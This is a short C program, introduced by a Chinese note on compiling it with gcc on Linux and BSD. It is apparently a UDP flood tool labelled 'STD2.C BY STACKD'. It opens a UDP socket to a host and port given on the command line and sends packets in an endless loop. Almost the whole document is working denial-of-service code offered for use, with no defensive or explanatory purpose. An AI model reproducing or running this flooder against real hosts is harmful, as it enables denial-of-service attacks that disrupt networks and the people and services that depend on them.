Linux下用gcc 3.4.3編譯通過。也可以在BSD平臺下使用，但無法在WINDOWS平臺下編譯，缺少相應的庫函數和頭文件 
#define STD2_STRING "std"
#define STD2_SIZE 50
#include <stdio.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdarg.h>

int echo_connect(char *, short);

int echo_connect(char *server, short port)
{
   struct sockaddr_in sin;
   struct hostent *hp;
   int thesock;
   hp = gethostbyname(server);
   if (hp==NULL) {
      printf("Unknown host: %s\n",server);
      exit(0);
   }
   printf(" STD.C -- Packeting %s:%d\n ", server, port);
   bzero((char*) &sin,sizeof(sin));
   bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
   sin.sin_family = hp->h_addrtype;
   sin.sin_port = htons(port);
   thesock = socket(AF_INET, SOCK_DGRAM, 0);
   connect(thesock,(struct sockaddr *) &sin, sizeof(sin));
   return thesock;
}


main(int argc, char **argv)
{
   int s;
   if(argc != 3)
   {
      fprintf(stderr, "[STD2.C BY STACKD] Syntax: %s host port\n",argv[0]);
      exit(0);
   }
   s=echo_connect(argv[1], atoi(argv[2]));
   for( ; ;  )
   {
      send(s, STD2_STRING, STD2_SIZE, 0);
   }
}